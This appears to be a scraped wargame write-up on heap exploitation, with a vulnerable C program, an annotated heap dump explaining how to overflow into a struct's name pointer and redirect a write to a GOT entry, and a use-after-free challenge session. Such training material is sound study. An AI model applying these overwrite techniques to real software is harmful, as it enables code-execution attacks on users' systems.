Heap Exploits
Heap Buffer Overflow
Use-After-Free
Phoenix Heap 2 solution
Explanation
Last updated
Last updated
struct heapStructure {
int priority;
char * name;
};
int main(int argc, char ** argv) {
struct heapStructure * i1, * i2;
i1 = malloc(sizeof(struct heapStructure));
i1 -> priority = 1;
i1 -> name = malloc(8);
i2 = malloc(sizeof(struct heapStructure));
i2 -> priority = 2;
i2 -> name = malloc(8);
strcpy(i1 -> name, argv[1]);
strcpy(i2 -> name, argv[2]);
printf("and that's a wrap folks!\n");
}0xf7e69000 0x00000000 # chunk header first part
0xf7e69004 0x00000011 # chunk second part. 0x8 bytes malloc + 0x8 bytes header + 0x1 byte for the previous chunk being used = 0x11
0xf7e69008 0x00000001 # struct1.priority = 1
0xf7e6900c 0xf7e69018 # *struct1.name
0xf7e69010 0x00000000
0xf7e69014 0x00000011
0xf7e69018 0x00000000 # struct1.name. Strcpy starts writing into this part
0xf7e6901c 0x00000000
0xf7e69020 0x00000000
0xf7e69024 0x00000011
0xf7e69028 0x00000002
0xf7e6902c 0xf7e69038 # *struct2.name. The pointer specified at this address will be written to. If we overwrite this value, then we will change the address where the write will occur. We can overwrite it with the GOT address
0xf7e69030 0x00000000
0xf7e69034 0x00000011
0xf7e69038 0x00000000
0xf7e6903c 0x00000000
0xf7e69040 0x00000000
0xf7e69044 0x000fffc1[ auth = 0, service = 0 ]
auth admin
[ auth = 0x8049af0, service = 0 ]
reset
[ auth = 0x8049af0, service = 0 ]
service aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x8049af0, service = 0x8049af0 ]
login
you have logged in already!